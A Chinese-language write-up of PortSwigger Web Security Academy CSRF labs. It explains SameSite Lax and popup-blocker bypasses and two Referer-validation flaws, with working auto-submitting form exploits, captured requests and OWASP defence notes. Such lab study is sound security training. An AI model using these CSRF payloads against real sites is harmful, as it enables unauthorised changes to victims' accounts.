Burp Web Academy CSRF 跨站请求伪造(三)

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的跨站请求伪造(CSRF,Cross-site request forgery)章节。

0x02. CSRF

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

先登录进去,然后尝试修改 Email,对应的 HTTP 请求包如下:

1
2
3
4
5
6
7
8
9
10
POST /my-account/change-email HTTP/2
Host: 0aee003a03c37b8a813b20d900bf005d.web-security-academy.net
Cookie: session=3125ORVOwis48ps5KwTf7DKz6O37bE9b
Content-Length: 31
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

email=wiener1%40normal-user.net

可以看到,没有 CSRF 防御机制。此时,往回查找 Cookie 的设置,发现是 /oauth-callback 设置的:

1
2
3
4
5
6
GET /oauth-callback?code=kq3Hxh2OungnyMxEAWgEGpl7RMIl-Sl-sNDYmgnIJon HTTP/2
Host: 0aee003a03c37b8a813b20d900bf005d.web-security-academy.net
Cookie: session=4bEzBdMx9Er5uWSb8g9WSquMtSddmhLM
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Set-Cookie 没有指明 SameSite 策略,浏览器会使用默认的 Lax 策略(关于 Lax 策略的解释可以参考 Burp Web Academy CSRF 跨站请求伪造):

Lax 意味着 Cookie 不会在跨站请求中被发送,如:加载图像或框架(frame)的请求。但 Cookie 在用户从外部站点导航到源站时,Cookie 也会被发送(例如,访问一个链接)。这是 SameSite 属性未被设置时的默认行为。

1
2
3
4
5
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=3125ORVOwis48ps5KwTf7DKz6O37bE9b; Expires=Wed, 04 Jun 2025 12:54:20 UTC; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 2948

于是,直接构造如下 Exploit:

1
2
3
4
5
6
7
<form action=https://0aee003a03c37b8a813b20d900bf005d.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="test@normal-user.net" />
</form>

<script>
document.forms[0].submit();
</script>

连续访问两次,就可以修改受害者的 Email。虽然解决了问题,但是没有弄明白到底怎么 回事。官方参考答案如下:

Bypass the SameSite restrictions

  1. In the browser, notice that if you visit /social-login, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.

  2. From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

  3. Go back to the exploit server.

  4. Change the JavaScript so that the attack first refreshes the victim’s session by forcing their browser to visit /social-login, then submits the email change request after a short pause. The following is one possible approach:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
    </form>
    <script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
    document.forms[0].submit();
    }
    </script>

    Note that we’ve opened the /social-login in a new window to avoid navigating away from the exploit before the change email request is sent.

  5. Store and view the exploit yourself. Observe that the initial request gets blocked by the browser’s popup blocker.

  6. Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.

Bypass the popup blocker

  1. Realize that the popup is being blocked because you haven’t manually interacted with the page.

  2. Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
    </form>
    <p>Click anywhere on the page</p>
    <script>
    window.onclick = () => {
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
    document.forms[0].submit();
    }
    </script>
  3. Test the attack on yourself again while monitoring the proxy history in Burp.

  4. When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the POST /my-account/change-email request includes your new session cookie.

  5. Go to your account page and confirm that your email address has changed.

  6. Change the email address in your exploit so that it doesn’t match your own.

  7. Deliver the exploit to the victim to solve the lab.

简单说,CSRF 利用需要解决两个问题:

  • Cookie 可能过期了,此时只要 OAuth 的 session 还有效,访问 /social-login 会自动刷新 Cookie
  • 为了刷新 Cookie 之后继续执行表单提交动作,需要借助 window.open 打开 /social-login,但是由于没有用户交互,弹窗会被拦截
    • 通过 window.onclick 响应页面上的任意点击事件,实现绕过浏览器对 window.open 的拦截
    • Hint 提示受害者会点击任何访问的页面(在页面点击鼠标对于真实攻击场景也是合理的)

2.2 Lab: CSRF where Referer validation depends on header being present

This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

登录之后的 Cookie 设置为 SameSite=None; Secure,如下所示:

1
2
3
4
5
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=R643iIlfJuAIy979s41HIBu7oOnR4UOk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

因此,任何请求的发送都会带上 Cookie,先简单测试 CSRF 攻击:

1
2
3
4
5
6
7
<form action=https://0a9600c704b4c6f0801603b900980019.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="1@normal-user.net" />
</form>

<script>
document.forms[0].submit();
</script>

访问后提示 "Invalid referer header",结合题目的标题,看起来是对 Referer 进行了校验。然而 RefererForbidden request header,浏览器是不允许对其进行修改的:

A forbidden request header is an HTTP header name-value pair that cannot be set or modified programmatically in a request. For headers forbidden to be modified in responses, see forbidden response header name.

Modifying such headers is forbidden because the user agent retains full control over them.

不能修改,可以尝试禁止添加 Referer。问了下 Copilot,发现有多种方法:

  • 可以利用 <a> 标签或者 <form>target="_blank" 让 Referer 为空
  • 通过 meta 标签影响页面 Referer 发送策略

一个可行的利用代码如下所示:

1
2
3
4
5
6
7
8
9
<meta name="referrer" content="no-referrer">

<form action=https://0a9600c704b4c6f0801603b900980019.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="2@normal-user.net" />
</form>

<script>
document.forms[0].submit();
</script>

2.3 Lab: CSRF with broken Referer validation

This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

看起来跟上一题差不多,先直接测试利用代码:

1
2
3
4
5
6
7
8
9
<meta name="referrer" content="no-referrer">

<form action=https://0a1e0028030fb82e80dd0d3b007400d0.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="2@normal-user.net" />
</form>

<script>
document.forms[0].submit();
</script>

即使 Referer 不在,也会提示 "Invalid referer header"。需要绕过检测逻辑,但是并不知道检测逻辑的细节。

Referer 的检查应该是严谨的,否则很容易被绕过,参考 Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series

Checking the Origin Header

If the Origin header is present, verify that its value matches the target origin. Unlike the referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL.

Checking the Referer Header if Origin Header Is Not Present

If the Origin header is not present, verify that the hostname in the Referer header matches the target origin. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state, which is required to keep track of a synchronization token.

In both cases, make sure the target origin check is strong. For example, if your site is example.org make sure example.org.attacker.com does not pass your origin check (i.e, match through the trailing / after the origin to make sure you are matching against the entire origin).

如果不是严格的 Host 匹配,可能会被绕过,存在如下情形:

  • 仅匹配前缀,可以通过子域名来绕过
  • 仅匹配包含,可以通过 URL 参数来绕过

对于 URL 参数,可以借助 history.pushState 来实现:

1
2
3
4
5
6
7
8
<form action=https://0a96008804e043d38242153b000e00af.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="2@normal-user.net" />
</form>

<script>
history.pushState("", "", "/?0a96008804e043d38242153b000e00af.web-security-academy.net")
document.forms[0].submit();
</script>

但测试发现,URL 中的参数没有生效:

1
2
3
POST /my-account/change-email HTTP/2
Host: 0a96008804e043d38242153b000e00af.web-security-academy.net
Referer: https://exploit-0a6b003204e1437d82e0140201c70075.exploit-server.net/

需要设置 Referrer-Policy header,可直接通过 <meta> 标签设置(注意名称是 referrer,多了一个 r):

1
2
3
4
5
6
7
8
9
10
<meta name="referrer" content="unsafe-url" />

<form action=https://0a96008804e043d38242153b000e00af.web-security-academy.net/my-account/change-email method=POST>
<input type="text" name="email" value="2@normal-user.net" />
</form>

<script>
history.pushState("", "", "/?0a96008804e043d38242153b000e00af.web-security-academy.net")
document.forms[0].submit();
</script>

0x03. 总结

  • SameSite 策略(Strict、Lax、None)
  • 浏览器对 window.open 的拦截和绕过机制
  • 浏览器不允许代码修改或自定义 Referer,但是可以让 Referer 为空
  • 基于 Origin 或者 Referer 检查请求来源,以防御 CSRF 攻击
    • 可能存在的问题及绕过方式
    • 通过 history.pushState 部分修改 Referer
    • Referrer-Policy 的设置方式

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#cross-site-request-forgery-csrf
  2. https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_request_header
  3. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  4. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy